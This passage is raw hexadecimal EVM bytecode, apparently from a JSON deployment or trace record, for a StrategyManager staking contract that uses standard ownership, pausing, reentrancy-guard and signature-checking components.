1b0387811660048301528681166024830152604482018490527f000000000000000000000000000000000000000000000000000000000000000016906328a573ae90606401600060405180830381600087803b158015611ab057600080fd5b505af1158015611ac4573d6000803e3d6000fd5b5050505050949350505050565b604080516001600160a01b038416815282151560208201527f77d930df4937793473a95024d87a98fd2ccb9e92d3c2463b3dacd65d3e6a5786910160405180910390a16001600160a01b0391909116600090815260d360205260409020805460ff1916911515919091179055565b6033546001600160a01b03163314610b755760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610624565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600081600003611c635760405162461bcd60e51b815260206004820152603e60248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a207360448201527f68617265416d6f756e742073686f756c64206e6f74206265207a65726f2100006064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209387168352929052205480831115611cf55760405162461bcd60e51b815260206004820152603360248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a20736044820152720d0c2e4ca82dadeeadce840e8dede40d0d2ced606b1b6064820152608401610624565b6001600160a01b03808616600090815260cd6020908152604080832093881683529290529081209184900391829055819003611d3f57611d358585612246565b6001915050611d45565b60009150505b9392505050565b6001600160a01b038416611dc85760405162461bcd60e51b815260206004820152603960248201527f53747261746567794d616e616765722e5f6164645368617265733a207374616b60448201527f65722063616e6e6f74206265207a65726f2061646472657373000000000000006064820152608401610624565b80600003611e375760405162461bcd60e51b815260206004820152603660248201527f53747261746567794d616e616765722e5f6164645368617265733a207368617260448201527565732073686f756c64206e6f74206265207a65726f2160501b6064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209386168352929052908120549003611f4c576001600160a01b038416600090815260ce602090815260409091205410611f0d5760405162461bcd60e51b815260206004820152605060248201527f53747261746567794d616e616765722e5f6164645368617265733a206465706f60448201527f73697420776f756c6420657863656564204d41585f5354414b45525f5354524160648201526f0a88a8eb2be9892a6a8be988a9c8ea8960831b608482015260a401610624565b6001600160a01b03848116600090815260ce602090815260408220805460018101825590835291200180546001600160a01b0319169184169190911790555b6001600160a01b03808516600090815260cd6020908152604080832093861683529290529081208054839290611f839084906130ec565b9091555050604080516001600160a01b03868116825285811660208301528416818301526060810183905290517f7cfff908a4b583f36430b25d75964c458d8ede8a99bd61be750e97ee1b2f3a969181900360800190a150505050565b60cb54604080516001600160a01b03928316815291831660208301527f4264275e593955ff9d6146a51a4525f6ddace2e81db9391abcc9d1ca48047d29910160405180910390a160cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6097546001600160a01b031615801561210157506001600160a01b03821615155b6121835760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610a988261164c565b60008060006121d58585612436565b915091506121e2816124a4565b5090505b92915050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610bca90859061265a565b6001600160a01b038216600090815260ce6020526040812054905b81811015612360576001600160a01b03848116600090815260ce602052604090208054918516918390811061229857612298612ff7565b6000918252602090912001546001600160a01b031603612358576001600160a01b038416600090815260ce6020526040902080546122d8906001906130ff565b815481106122e8576122e8612ff7565b60009182526020808320909101546001600160a01b03878116845260ce909252604090922080549190921691908390811061232557612325612ff7565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550612360565b600101612261565b8181036123e75760405162461bcd60e51b815260206004820152604960248201527f53747261746567794d616e616765722e5f72656d6f766553747261746567794660448201527f726f6d5374616b657253747261746567794c6973743a207374726174656779206064820152681b9bdd08199bdd5b9960ba1b608482015260a401610624565b6001600160a01b038416600090815260ce6020526040902080548061240e5761240e613112565b600082815260209020810160001990810180546001600160a01b031916905501905550505050565b600080825160410361246c5760208301516040840151606085015160001a6124608782858561272c565b9450945050505061249d565b8251604003612495576020830151604084015161248a868383612819565b93509350505061249d565b506000905060025b9250929050565b60008160048111156124b8576124b8613128565b036124c05750565b60018160048111156124d4576124d4613128565b036125215760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610624565b600281600481111561253557612535613128565b036125825760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610624565b600381600481111561259657612596613128565b036125ee5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610624565b600481600481111561260257612602613128565b036106365760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610624565b60006126af826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166128529092919063ffffffff16565b80519091501561185d57808060200190518101906126cd9190612eca565b61185d5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610624565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156127635750600090506003612810565b8460ff16601b1415801561277b57508460ff16601c14155b1561278c5750600090506004612810565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa1580156127e0573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661280957600060019250925050612810565b9150600090505b94509492505050565b6000806001600160ff1b0383168161283660ff86901c601b6130ec565b90506128448782888561272c565b935093505050935093915050565b60606128618484600085612869565b949350505050565b6060824710156128ca5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610624565b6001600160a01b0385163b6129215760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610624565b600080866001600160a01b0316858760405161293d919061313e565b60006040518083038185875af1925050503d806000811461297a576040519150601f19603f3d011682016040523d82523d6000602084013e61297f565b606091505b509150915061298f82828661299a565b979650505050505050565b606083156129a9575081611d45565b8251156129b95782518084602001fd5b8160405162461bcd60e51b8152600401610624919061315a565b6001600160a01b038116811461063657600080fd5b6000602082840312156129fa57600080fd5b8135611d45816129d3565b600060208284031215612a1757600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b60008060008060008060c08789031215612a4d57600080fd5b8635612a58816129d3565b95506020870135612a68816129d3565b9450604087013593506060870135612a7f816129d3565b92506080870135915060a087013567ffffffffffffffff811115612aa257600080fd5b8701601f81018913612ab357600080fd5b803567ffffffffffffffff811115612acd57612acd612a1e565b604051601f8201601f19908116603f0116810167ffffffffffffffff81118282101715612afc57612afc612a1e565b6040528181528282016020018b1015612b1457600080fd5b816020840160208301376000602083830101528093505050509295509295509295565b801515811461063657600080fd5b60008060408385031215612b5857600080fd5b8235612b63816129d3565b91506020830135612b7381612b37565b809150509250929050565b600060208284031215612b9057600080fd5b813560ff81168114611d4557600080fd5b60008060408385031215612bb457600080fd5b8235612bbf816129d3565b91506020830135612b73816129d3565b600080600060608486031215612be457600080fd5b8335612bef816129d3565b92506020840135612bff816129d3565b929592945050506040919091013590565b6040808252835190820181905260009060208501906060840190835b81811015612c535783516001600160a01b0316835260209384019390920191600101612c2c565b50508381036020808601919091528551808352918101925085019060005b81811015612c8f578251845260209384019390920191600101612c71565b50919695505050505050565b60008083601f840112612cad57600080fd5b50813567ffffffffffffffff811115612cc557600080fd5b6020830191508360208260051b850101111561249d57600080fd5b60008060208385031215612cf357600080fd5b823567ffffffffffffffff811115612d0a57600080fd5b612d1685828601612c9b565b90969095509350505050565b60008060008060808587031215612d3857600080fd5b8435612d43816129d3565b93506020850135612d53816129d3565b92506040850135612d63816129d3565b9396929550929360600135925050565b60008060008060808587031215612d8957600080fd5b8435612d94816129d3565b93506020850135612da4816129d3565b9250604085013591506060850135612dbb816129d3565b939692955090935050565b60008060408385031215612dd957600080fd5b8235612de4816129d3565b946020939093013593505050565b60008060008060408587031215612e0857600080fd5b843567ffffffffffffffff811115612e1f57600080fd5b612e2b87828801612c9b565b909550935050602085013567ffffffffffffffff811115612e4b57600080fd5b612e5787828801612c9b565b95989497509550505050565b600060208284031215612e7557600080fd5b8151611d45816129d3565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215612edc57600080fd5b8151611d4581612b37565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526044908201527f53747261746567794d616e616765722e6f6e6c7953747261746567795768697460408201527f656c69737465723a206e6f742074686520737472617465677957686974656c6960608201526339ba32b960e11b608082015260a00190565b602080825260409082018190527f53747261746567794d616e616765722e6f6e6c7944656c65676174696f6e4d61908201527f6e616765723a206e6f74207468652044656c65676174696f6e4d616e61676572606082015260800190565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561301f57600080fd5b8135611d4581612b37565b60005b8381101561304557818101518382015260200161302d565b50506000910152565b6000815180845261306681602086016020860161302a565b601f01601f19169290920160200192915050565b828152604060208201526000612861604083018461304e565b6000602082840312156130a557600080fd5b81516001600160e01b031981168114611d4557600080fd5b6000602082840312156130cf57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156121e6576121e66130d6565b818103818111156121e6576121e66130d6565b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b6000825161315081846020870161302a565b9190910192915050565b602081526000611d45602083018461304e56fea2646970667358221220ac6d2edd6083c86d546592d6164295a40fc9f3efad84a275c7ca870c64044f2464736f6c634300081c0033000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc90000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c853", - "output": "0x608060405234801561001057600080fd5b50600436106102065760003560e01c80638da5cb5b1161011a578063c6656702116100ad578063df5cf7231161007c578063df5cf72314610515578063e7a050aa1461053c578063f2fde38b1461054f578063f698da2514610562578063fabc1cbc1461056a57600080fd5b8063c6656702146104c9578063cbc2bd62146104dc578063cf756fdf146104ef578063df5b35471461050257600080fd5b8063b1344271116100e9578063b134427114610469578063b5d8b5b814610490578063c4623ea1146104a3578063c608c7f3146104b657600080fd5b80638da5cb5b1461040157806394f649dd14610412578063967fc0d2146104335780639b4da03d1461044657600080fd5b80635ac86ab71161019d5780637a7e0d921161016c5780637a7e0d92146103675780637ecebe0014610392578063886f1195146103b25780638b8aac3c146103c55780638c80d4e5146103ee57600080fd5b80635ac86ab7146103015780635c975abb14610334578063663c1de41461033c578063715018a61461035f57600080fd5b80634665bcda116101d95780634665bcda1461028057806348825e94146102bf5780634e5a4263146102e6578063595c6a67146102f957600080fd5b806310d67a2f1461020b578063136439dd1461022057806320606b701461023357806332e89ace1461026d575b600080fd5b61021e6102193660046129e8565b61057d565b005b61021e61022e366004612a05565b610639565b61025a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b61025a61027b366004612a34565b610778565b6102a77f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681565b6040516001600160a01b039091168152602001610264565b61025a7f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922481565b61021e6102f4366004612b45565b610a64565b61021e610a9c565b61032461030f366004612b7e565b609854600160ff9092169190911b9081161490565b6040519015158152602001610264565b60985461025a565b61032461034a3660046129e8565b60d16020526000908152604090205460ff1681565b61021e610b63565b61025a610375366004612ba1565b60cd60209081526000928352604080842090915290825290205481565b61025a6103a03660046129e8565b60ca6020526000908152604090205481565b6097546102a7906001600160a01b031681565b61025a6103d33660046129e8565b6001600160a01b0316600090815260ce602052604090205490565b61021e6103fc366004612bcf565b610b77565b6033546001600160a01b03166102a7565b6104256104203660046129e8565b610bd0565b604051610264929190612c10565b60cb546102a7906001600160a01b031681565b6103246104543660046129e8565b60d36020526000908152604090205460ff1681565b6102a77f000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c85381565b61021e61049e366004612ce0565b610d50565b61021e6104b1366004612d22565b610ec4565b61021e6104c4366004612d73565b610f18565b61021e6104d73660046129e8565b610fd0565b6102a76104ea366004612dc6565b610fe1565b61021e6104fd366004612d22565b611019565b61021e610510366004612df2565b61114d565b6102a77f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b61025a61054a366004612bcf565b611376565b61021e61055d3660046129e8565b61143d565b61025a6114b3565b61021e610578366004612a05565b6114f0565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f49190612e63565b6001600160a01b0316336001600160a01b03161461062d5760405162461bcd60e51b815260040161062490612e80565b60405180910390fd5b6106368161164c565b50565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610681573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a59190612eca565b6106c15760405162461bcd60e51b815260040161062490612ee7565b6098548181161461073a5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60985460009081906001908116036107ce5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b6002606554036108205760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b60026065556001600160a01b038816600090815260d3602052604090205460ff16156108c75760405162461bcd60e51b815260206004820152604a60248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207468697264207472616e736665726064820152691cc8191a5cd8589b195960b21b608482015260a401610624565b428410156109495760405162461bcd60e51b815260206004820152604360248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207369676e617475726520657870696064820152621c995960ea1b608482015260a401610624565b6001600160a01b03858116600081815260ca602090815260408083205481517f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922493810193909352908201939093528b84166060820152928a16608084015260a0830189905260c0830182905260e0830187905290916101000160408051601f1981840301815291815281516020928301206001600160a01b038a16600090815260ca9093529082206001850190559150610a016114b3565b60405161190160f01b6020820152602281019190915260428101839052606201604051602081830303815290604052805190602001209050610a44888288611743565b610a50888c8c8c611902565b60016065559b9a5050505050505050505050565b60cb546001600160a01b03163314610a8e5760405162461bcd60e51b815260040161062490612f2f565b610a988282611ad1565b5050565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610ae4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b089190612eca565b610b245760405162461bcd60e51b815260040161062490612ee7565b600019609881905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610b6b611b3f565b610b756000611b99565b565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610bbf5760405162461bcd60e51b815260040161062490612f99565b610bca838383611beb565b50505050565b6001600160a01b038116600090815260ce60205260408120546060918291908167ffffffffffffffff811115610c0857610c08612a1e565b604051908082528060200260200182016040528015610c31578160200160208202803683370190505b50905060005b82811015610cc2576001600160a01b038616600090815260cd6020908152604080832060ce9092528220805491929184908110610c7657610c76612ff7565b60009182526020808320909101546001600160a01b031683528201929092526040019020548251839083908110610caf57610caf612ff7565b6020908102919091010152600101610c37565b5060ce6000866001600160a01b03166001600160a01b031681526020019081526020016000208181805480602002602001604051908101604052809291908181526020018280548015610d3e57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610d20575b50505050509150935093505050915091565b60cb546001600160a01b03163314610d7a5760405162461bcd60e51b815260040161062490612f2f565b8060005b81811015610bca5760d16000858584818110610d9c57610d9c612ff7565b9050602002016020810190610db191906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1615610ebc57600060d16000868685818110610deb57610deb612ff7565b9050602002016020810190610e0091906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f4074413b4b443e4e58019f2855a8765113358c7c72e39509c6af45fc0f5ba030848483818110610e5b57610e5b612ff7565b9050602002016020810190610e7091906129e8565b6040516001600160a01b03909116815260200160405180910390a1610ebc848483818110610ea057610ea0612ff7565b9050602002016020810190610eb591906129e8565b6000611ad1565b600101610d7e565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610f0c5760405162461bcd60e51b815260040161062490612f99565b610bca84848484611d4c565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610f605760405162461bcd60e51b815260040161062490612f99565b604051636ce5768960e11b81526001600160a01b03858116600483015282811660248301526044820184905284169063d9caed1290606401600060405180830381600087803b158015610fb257600080fd5b505af1158015610fc6573d6000803e3d6000fd5b5050505050505050565b610fd8611b3f565b61063681611fe0565b60ce6020528160005260406000208181548110610ffd57600080fd5b6000918252602090912001546001600160a01b03169150829050565b600054610100900460ff16158080156110395750600054600160ff909116105b806110535750303b158015611053575060005460ff166001145b6110b65760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610624565b6000805460ff1916600117905580156110d9576000805461ff0019166101001790555b6110e1612049565b60c9556110ee83836120e0565b6110f785611b99565b61110084611fe0565b8015611146576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b60cb546001600160a01b031633146111775760405162461bcd60e51b815260040161062490612f2f565b8281146112005760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794d616e616765722e61646453747261746567696573546f4460448201527f65706f73697457686974656c6973743a206172726179206c656e67746873206460648201526a0de40dcdee840dac2e8c6d60ab1b608482015260a401610624565b8260005b8181101561136e5760d1600087878481811061122257611222612ff7565b905060200201602081019061123791906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1661136657600160d1600088888581811061127057611270612ff7565b905060200201602081019061128591906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f0c35b17d91c96eb2751cd456e1252f42a386e524ef9ff26ecc9950859fdc04fe8686838181106112e0576112e0612ff7565b90506020020160208101906112f591906129e8565b6040516001600160a01b03909116815260200160405180910390a161136686868381811061132557611325612ff7565b905060200201602081019061133a91906129e8565b85858481811061134c5761134c612ff7565b9050602002016020810190611361919061300d565b611ad1565b600101611204565b505050505050565b60985460009081906001908116036113cc5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b60026065540361141e5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b600260655561142f33868686611902565b600160655595945050505050565b611445611b3f565b6001600160a01b0381166114aa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b61063681611b99565b60007f0000000000000000000000000000000000000000000000000000000000007a6946036114e3575060c95490565b6114eb612049565b905090565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611543573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115679190612e63565b6001600160a01b0316336001600160a01b0316146115975760405162461bcd60e51b815260040161062490612e80565b6098541981196098541916146116155760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161076d565b6001600160a01b0381166116da5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610624565b609754604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1609780546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383163b1561186257604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e90611783908690869060040161307a565b602060405180830381865afa1580156117a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c49190613093565b6001600160e01b0319161461185d5760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610624565b505050565b826001600160a01b031661187683836121c6565b6001600160a01b03161461185d5760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610624565b6001600160a01b038316600090815260d16020526040812054849060ff166119a85760405162461bcd60e51b815260206004820152604d60248201527f53747261746567794d616e616765722e6f6e6c7953747261746567696573576860448201527f6974656c6973746564466f724465706f7369743a207374726174656779206e6f60648201526c1d081dda1a5d195b1a5cdd1959609a1b608482015260a401610624565b6119bd6001600160a01b0385163387866121ec565b6040516311f9fbc960e21b81526001600160a01b038581166004830152602482018590528616906347e7ef24906044016020604051808303816000875af1158015611a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a3091906130bd565b9150611a3e86858785611d4c565b604051631452b9d760e11b81526001600160a01b0387811660048301528681166024830152604482018490527f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916906328a573ae90606401600060405180830381600087803b158015611ab057600080fd5b505af1158015611ac4573d6000803e3d6000fd5b5050505050949350505050565b604080516001600160a01b038416815282151560208201527f77d930df4937793473a95024d87a98fd2ccb9e92d3c2463b3dacd65d3e6a5786910160405180910390a16001600160a01b0391909116600090815260d360205260409020805460ff1916911515919091179055565b6033546001600160a01b03163314610b755760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610624565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600081600003611c635760405162461bcd60e51b815260206004820152603e60248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a207360448201527f68617265416d6f756e742073686f756c64206e6f74206265207a65726f2100006064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209387168352929052205480831115611cf55760405162461bcd60e51b815260206004820152603360248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a20736044820152720d0c2e4ca82dadeeadce840e8dede40d0d2ced606b1b6064820152608401610624565b6001600160a01b03808616600090815260cd6020908152604080832093881683529290529081209184900391829055819003611d3f57611d358585612246565b6001915050611d45565b60009150505b9392505050565b6001600160a01b038416611dc85760405162461bcd60e51b815260206004820152603960248201527f53747261746567794d616e616765722e5f6164645368617265733a207374616b60448201527f65722063616e6e6f74206265207a65726f2061646472657373000000000000006064820152608401610624565b80600003611e375760405162461bcd60e51b815260206004820152603660248201527f53747261746567794d616e616765722e5f6164645368617265733a207368617260448201527565732073686f756c64206e6f74206265207a65726f2160501b6064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209386168352929052908120549003611f4c576001600160a01b038416600090815260ce602090815260409091205410611f0d5760405162461bcd60e51b815260206004820152605060248201527f53747261746567794d616e616765722e5f6164645368617265733a206465706f60448201527f73697420776f756c6420657863656564204d41585f5354414b45525f5354524160648201526f0a88a8eb2be9892a6a8be988a9c8ea8960831b608482015260a401610624565b6001600160a01b03848116600090815260ce602090815260408220805460018101825590835291200180546001600160a01b0319169184169190911790555b6001600160a01b03808516600090815260cd6020908152604080832093861683529290529081208054839290611f839084906130ec565b9091555050604080516001600160a01b03868116825285811660208301528416818301526060810183905290517f7cfff908a4b583f36430b25d75964c458d8ede8a99bd61be750e97ee1b2f3a969181900360800190a150505050565b60cb54604080516001600160a01b03928316815291831660208301527f4264275e593955ff9d6146a51a4525f6ddace2e81db9391abcc9d1ca48047d29910160405180910390a160cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6097546001600160a01b031615801561210157506001600160a01b03821615155b6121835760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610a988261164c565b60008060006121d58585612436565b915091506121e2816124a4565b5090505b92915050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610bca90859061265a565b6001600160a01b038216600090815260ce6020526040812054905b81811015612360576001600160a01b03848116600090815260ce602052604090208054918516918390811061229857612298612ff7565b6000918252602090912001546001600160a01b031603612358576001600160a01b038416600090815260ce6020526040902080546122d8906001906130ff565b815481106122e8576122e8612ff7565b60009182526020808320909101546001600160a01b03878116845260ce909252604090922080549190921691908390811061232557612325612ff7565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550612360565b600101612261565b8181036123e75760405162461bcd60e51b815260206004820152604960248201527f53747261746567794d616e616765722e5f72656d6f766553747261746567794660448201527f726f6d5374616b657253747261746567794c6973743a207374726174656779206064820152681b9bdd08199bdd5b9960ba1b608482015260a401610624565b6001600160a01b038416600090815260ce6020526040902080548061240e5761240e613112565b600082815260209020810160001990810180546001600160a01b031916905501905550505050565b600080825160410361246c5760208301516040840151606085015160001a6124608782858561272c565b9450945050505061249d565b8251604003612495576020830151604084015161248a868383612819565b93509350505061249d565b506000905060025b9250929050565b60008160048111156124b8576124b8613128565b036124c05750565b60018160048111156124d4576124d4613128565b036125215760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610624565b600281600481111561253557612535613128565b036125825760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610624565b600381600481111561259657612596613128565b036125ee5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610624565b600481600481111561260257612602613128565b036106365760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610624565b60006126af826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166128529092919063ffffffff16565b80519091501561185d57808060200190518101906126cd9190612eca565b61185d5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610624565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156127635750600090506003612810565b8460ff16601b1415801561277b57508460ff16601c14155b1561278c5750600090506004612810565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa1580156127e0573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661280957600060019250925050612810565b9150600090505b94509492505050565b6000806001600160ff1b0383168161283660ff86901c601b6130ec565b90506128448782888561272c565b935093505050935093915050565b60606128618484600085612869565b949350505050565b6060824710156128ca5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610624565b6001600160a01b0385163b6129215760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610624565b600080866001600160a01b0316858760405161293d919061313e565b60006040518083038185875af1925050503d806000811461297a576040519150601f19603f3d011682016040523d82523d6000602084013e61297f565b606091505b509150915061298f82828661299a565b979650505050505050565b606083156129a9575081611d45565b8251156129b95782518084602001fd5b8160405162461bcd60e51b8152600401610624919061315a565b6001600160a01b038116811461063657600080fd5b6000602082840312156129fa57600080fd5b8135611d45816129d3565b600060208284031215612a1757600080fd5b5035919050565b634e487b